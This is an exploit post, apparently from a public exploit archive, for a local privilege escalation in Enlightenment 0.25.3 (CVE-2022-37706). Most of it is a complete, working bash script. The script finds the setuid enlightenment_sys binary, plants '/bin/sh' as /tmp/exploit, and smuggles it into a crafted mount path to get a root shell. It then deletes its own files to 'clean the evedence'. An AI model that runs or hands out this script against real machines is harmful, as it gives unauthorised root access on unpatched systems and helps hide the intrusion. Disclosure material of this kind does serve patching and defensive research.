Enlightenment 0.25.3 Privilege Escalation

## Title: Enlightenment Version: 0.25.3 LPE## Author: nu11secur1ty## Date: 12.26.2022## Vendor: https://www.enlightenment.org/## Software: https://www.enlightenment.org/download## Reference: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2022-37706## Description:The Enlightenment Version: 0.25.3 is vulnerable to local privilege escalation.Enlightenment_sys in Enlightenment before 0.25.4 allows local users togain privileges because it is setuid root,and the system library function mishandles pathnames that begin with a/dev/.. substringIf the attacker has access locally to some machine on which themachine is installed Enlightenmenthe can use this vulnerability to do very dangerous stuff.## STATUS: CRITICAL Vulnerability## Tested on:```bashDISTRIB_ID=UbuntuDISTRIB_RELEASE=22.10DISTRIB_CODENAME=kineticDISTRIB_DESCRIPTION="Ubuntu 22.10"PRETTY_NAME="Ubuntu 22.10"NAME="Ubuntu"VERSION_ID="22.10"VERSION="22.10 (Kinetic Kudu)"VERSION_CODENAME=kineticID=ubuntuID_LIKE=debianHOME_URL="https://www.ubuntu.com/"SUPPORT_URL="https://help.ubuntu.com/"BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"UBUNTU_CODENAME=kineticLOGO=ubuntu-logo```[+] Exploit:```bash#!/usr/bin/bash# Idea by MaherAzzouz# Development by nu11secur1tyecho "CVE-2022-37706"echo "[*] Trying to find the vulnerable SUID file..."echo "[*] This may take few seconds..."# The actual problemfile=$(find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1)if [[ -z ${file} ]]then  echo "[-] Couldn't find the vulnerable SUID file..."  echo "[*] Enlightenment should be installed on your system."  exit 1fiecho "[+] Vulnerable SUID binary found!"echo "[+] Trying to pop a root shell!"mkdir -p /tmp/netmkdir -p "/dev/../tmp/;/tmp/exploit"echo "/bin/sh" > /tmp/exploitchmod a+x /tmp/exploitecho "[+] Welcome to the rabbit hole :)"${file} /bin/mount -onoexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u),"/dev/../tmp/;/tmp/exploit" /tmp///netread -p "Press any key to clean the evedence..."echo -e "Please wait... "sleep 5rm -rf /tmp/exploitrm -rf /tmp/netecho -e "Done; Everything is clear ;)"```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2022-37706)## Proof and Exploit:[href](https://streamable.com/zflbgg)## Time spent`01:00:00`